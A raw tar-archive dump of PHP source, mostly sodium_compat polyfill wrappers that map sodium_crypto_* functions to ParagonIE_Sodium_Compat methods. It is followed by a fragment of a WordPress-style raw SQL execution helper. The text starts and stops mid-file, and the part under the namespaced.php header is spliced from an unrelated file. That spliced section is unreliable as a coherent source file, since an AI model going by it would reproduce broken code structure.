php84compat.php000064400000007110147206606520007433 0ustar00getMessage() === 'AES-256-GCM is not available')) { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_aead_aes256gcm_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_aes256gcm_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message, $additional_data, $nonce, $key); } } if (!is_callable('sodium_crypto_aead_aes256gcm_is_available')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available() * @return bool */ function sodium_crypto_aead_aes256gcm_is_available() { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, $key, true ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_xchacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key, true ); } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_xchacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_auth')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth( $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth($message, $key); } } if (!is_callable('sodium_crypto_auth_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_keygen() * @return string * @throws Exception */ function sodium_crypto_auth_keygen() { return ParagonIE_Sodium_Compat::crypto_auth_keygen(); } } if (!is_callable('sodium_crypto_auth_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_verify() * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth_verify( $mac, $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message, $key); } } if (!is_callable('sodium_crypto_box')) { /** * @see ParagonIE_Sodium_Compat::crypto_box() * @param string $message * @param string $nonce * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $key_pair); } } if (!is_callable('sodium_crypto_box_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair() { return ParagonIE_Sodium_Compat::crypto_box_keypair(); } } if (!is_callable('sodium_crypto_box_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_box_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_open() * @param string $ciphertext * @param string $nonce * @param string $key_pair * @return string|bool */ function sodium_crypto_box_open( $ciphertext, $nonce, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_open($ciphertext, $nonce, $key_pair); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_box_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_publickey($key_pair); } } if (!is_callable('sodium_crypto_box_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_box_seal')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal() * @param string $message * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seal( #[\SensitiveParameter] $message, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_seal($message, $public_key); } } if (!is_callable('sodium_crypto_box_seal_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal_open() * @param string $message * @param string $key_pair * @return string|bool * @throws SodiumException */ function sodium_crypto_box_seal_open( $message, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_seal_open($message, $key_pair); } catch (SodiumException $ex) { if ($ex->getMessage() === 'Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.') { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_box_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_secretkey($key_pair); } } if (!is_callable('sodium_crypto_box_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_box_seed_keypair($seed); } } if (!is_callable('sodium_crypto_generichash')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash() * @param string $message * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash( $message, #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $length); } } if (!is_callable('sodium_crypto_generichash_final')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_final() * @param string|null $state * @param int $outputLength * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_final(&$state, $outputLength = 32) { return ParagonIE_Sodium_Compat::crypto_generichash_final($state, $outputLength); } } if (!is_callable('sodium_crypto_generichash_init')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_init() * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_init( #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $length); } } if (!is_callable('sodium_crypto_generichash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_keygen() * @return string * @throws Exception */ function sodium_crypto_generichash_keygen() { return ParagonIE_Sodium_Compat::crypto_generichash_keygen(); } } if (!is_callable('sodium_crypto_generichash_update')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_update() * @param string|null $state * @param string $message * @return void * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_update( #[\SensitiveParameter] &$state, $message = '' ) { ParagonIE_Sodium_Compat::crypto_generichash_update($state, $message); } } if (!is_callable('sodium_crypto_kdf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_keygen() * @return string * @throws Exception */ function sodium_crypto_kdf_keygen() { return ParagonIE_Sodium_Compat::crypto_kdf_keygen(); } } if (!is_callable('sodium_crypto_kdf_derive_from_key')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key() * @param int $subkey_length * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws Exception */ function sodium_crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, $key ); } } if (!is_callable('sodium_crypto_kx')) { /** * @see ParagonIE_Sodium_Compat::crypto_kx() * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_kx( #[\SensitiveParameter] $my_secret, $their_public, $client_public, $server_public ) { return ParagonIE_Sodium_Compat::crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (!is_callable('sodium_crypto_kx_seed_keypair')) { /** * @param string $seed * @return string * @throws Exception */ function sodium_crypto_kx_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_kx_seed_keypair($seed); } } if (!is_callable('sodium_crypto_kx_keypair')) { /** * @return string * @throws Exception */ function sodium_crypto_kx_keypair() { return ParagonIE_Sodium_Compat::crypto_kx_keypair(); } } if (!is_callable('sodium_crypto_kx_client_session_keys')) { /** * @param string $client_key_pair * @param string $server_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_client_session_keys( #[\SensitiveParameter] $client_key_pair, $server_key ) { return ParagonIE_Sodium_Compat::crypto_kx_client_session_keys($client_key_pair, $server_key); } } if (!is_callable('sodium_crypto_kx_server_session_keys')) { /** * @param string $server_key_pair * @param string $client_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_server_session_keys( #[\SensitiveParameter] $server_key_pair, $client_key ) { return ParagonIE_Sodium_Compat::crypto_kx_server_session_keys($server_key_pair, $client_key); } } if (!is_callable('sodium_crypto_kx_secretkey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_secretkey($key_pair); } } if (!is_callable('sodium_crypto_kx_publickey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_publickey($key_pair); } } if (!is_callable('sodium_crypto_pwhash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $algo * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit, $algo = null ) { return ParagonIE_Sodium_Compat::crypto_pwhash($length, $passwd, $salt, $opslimit, $memlimit, $algo); } } if (!is_callable('sodium_crypto_pwhash_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_needs_rehash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash() * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * * @throws SodiumException */ function sodium_crypto_pwhash_str_needs_rehash( #[\SensitiveParameter] $hash, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256( $length, $passwd, $salt, $opslimit, $memlimit ); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_scalarmult')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult() * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult( #[\SensitiveParameter] $n, $p ) { return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p); } } if (!is_callable('sodium_crypto_scalarmult_base')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base() * @param string $n * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult_base( #[\SensitiveParameter] $n ) { return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n); } } if (!is_callable('sodium_crypto_secretbox')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_secretbox( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key); } } if (!is_callable('sodium_crypto_secretbox_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_keygen() * @return string * @throws Exception */ function sodium_crypto_secretbox_keygen() { return ParagonIE_Sodium_Compat::crypto_secretbox_keygen(); } } if (!is_callable('sodium_crypto_secretbox_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_open() * @param string $ciphertext * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_secretbox_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_secretbox_open($ciphertext, $nonce, $key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_push')) { /** * @param string $key * @return array * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_init_push( #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_push($key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_push')) { /** * @param string $state * @param string $message * @param string $additional_data * @param int $tag * @return string * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_push( #[\SensitiveParameter] &$state, #[\SensitiveParameter] $message, $additional_data = '', $tag = 0 ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_push( $state, $message, $additional_data, $tag ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_pull')) { /** * @param string $header * @param string $key * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_init_pull( $header, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_pull($header, $key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_pull')) { /** * @param string $state * @param string $ciphertext * @param string $additional_data * @return bool|array{0: string, 1: int} * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_pull( #[\SensitiveParameter] &$state, $ciphertext, $additional_data = '' ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_pull( $state, $ciphertext, $additional_data ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_rekey')) { /** * @param string $state * @return void * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_rekey( #[\SensitiveParameter] &$state ) { ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_rekey($state); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_keygen')) { /** * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_shorthash')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_shorthash( $message, #[\SensitiveParameter] $key = '' ) { return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key); } } if (!is_callable('sodium_crypto_shorthash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash_keygen() * @return string * @throws Exception */ function sodium_crypto_shorthash_keygen() { return ParagonIE_Sodium_Compat::crypto_shorthash_keygen(); } } if (!is_callable('sodium_crypto_sign')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign( $message, #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_detached() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_detached( $message, #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_sign_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair() { return ParagonIE_Sodium_Compat::crypto_sign_keypair(); } } if (!is_callable('sodium_crypto_sign_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_open() * @param string $signedMessage * @param string $public_key * @return string|bool */ function sodium_crypto_sign_open($signedMessage, $public_key) { try { return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $public_key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_sign_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey($key_pair); } } if (!is_callable('sodium_crypto_sign_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_sign_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_secretkey($key_pair); } } if (!is_callable('sodium_crypto_sign_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed); } } if (!is_callable('sodium_crypto_sign_verify_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached() * @param string $signature * @param string $message * @param string $public_key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_verify_detached($signature, $message, $public_key) { return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_pk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519() * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_pk_to_curve25519($public_key) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_sk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_sk_to_curve25519( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($secret_key); } } if (!is_callable('sodium_crypto_stream')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream() * @param int $length * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream( $length, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream($length, $nonce, $key); } } if (!is_callable('sodium_crypto_stream_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_keygen() * @return string * @throws Exception */ function sodium_crypto_stream_keygen() { return ParagonIE_Sodium_Compat::crypto_stream_keygen(); } } if (!is_callable('sodium_crypto_stream_xor')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xor() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key); } } require_once dirname(__FILE__) . '/stream-xchacha20.php'; if (!is_callable('sodium_hex2bin')) { /** * @see ParagonIE_Sodium_Compat::hex2bin() * @param string $string * @param string $ignore * @return string * @throws SodiumException * @throws TypeError */ function sodium_hex2bin( #[\SensitiveParameter] $string, $ignore = '' ) { return ParagonIE_Sodium_Compat::hex2bin($string, $ignore); } } if (!is_callable('sodium_increment')) { /** * @see ParagonIE_Sodium_Compat::increment() * @param string $string * @return void * @throws SodiumException * @throws TypeError */ function sodium_increment( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::increment($string); } } if (!is_callable('sodium_library_version_major')) { /** * @see ParagonIE_Sodium_Compat::library_version_major() * @return int */ function sodium_library_version_major() { return ParagonIE_Sodium_Compat::library_version_major(); } } if (!is_callable('sodium_library_version_minor')) { /** * @see ParagonIE_Sodium_Compat::library_version_minor() * @return int */ function sodium_library_version_minor() { return ParagonIE_Sodium_Compat::library_version_minor(); } } if (!is_callable('sodium_version_string')) { /** * @see ParagonIE_Sodium_Compat::version_string() * @return string */ function sodium_version_string() { return ParagonIE_Sodium_Compat::version_string(); } } if (!is_callable('sodium_memcmp')) { /** * @see ParagonIE_Sodium_Compat::memcmp() * @param string $string1 * @param string $string2 * @return int * @throws SodiumException * @throws TypeError */ function sodium_memcmp( #[\SensitiveParameter] $string1, #[\SensitiveParameter] $string2 ) { return ParagonIE_Sodium_Compat::memcmp($string1, $string2); } } if (!is_callable('sodium_memzero')) { /** * @see ParagonIE_Sodium_Compat::memzero() * @param string $string * @return void * @throws SodiumException * @throws TypeError * * @psalm-suppress ReferenceConstraintViolation */ function sodium_memzero( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::memzero($string); } } if (!is_callable('sodium_pad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $unpadded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_pad( #[\SensitiveParameter] $unpadded, $block_size ) { return ParagonIE_Sodium_Compat::pad($unpadded, $block_size, true); } } if (!is_callable('sodium_unpad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $padded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_unpad( #[\SensitiveParameter] $padded, $block_size ) { return ParagonIE_Sodium_Compat::unpad($padded, $block_size, true); } } if (!is_callable('sodium_randombytes_buf')) { /** * @see ParagonIE_Sodium_Compat::randombytes_buf() * @param int $amount * @return string * @throws Exception */ function sodium_randombytes_buf($amount) { return ParagonIE_Sodium_Compat::randombytes_buf($amount); } } if (!is_callable('sodium_randombytes_uniform')) { /** * @see ParagonIE_Sodium_Compat::randombytes_uniform() * @param int $upperLimit * @return int * @throws Exception */ function sodium_randombytes_uniform($upperLimit) { return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit); } } if (!is_callable('sodium_randombytes_random16')) { /** * @see ParagonIE_Sodium_Compat::randombytes_random16() * @return int * @throws Exception */ function sodium_randombytes_random16() { return ParagonIE_Sodium_Compat::randombytes_random16(); } } namespaced.php000064400000002501147206606520007363 0ustar00 10') * * @param string $query The raw SQL query. * @param array $parameters Optional bound parameters. * * @return bool Success. */ public static function raw_execute( $query, $parameters = [] ) { return self::execute( $query, $parameters ); } /** * Internal helper method for executing statements. * * @param string $query The query. * @param array $parameters An array of parameters to be bound in to the query. * * @return bool|int Response of wpdb::query */ protected static function execute( $query, $parameters = [] ) { /** * The global WordPress database variable. * * 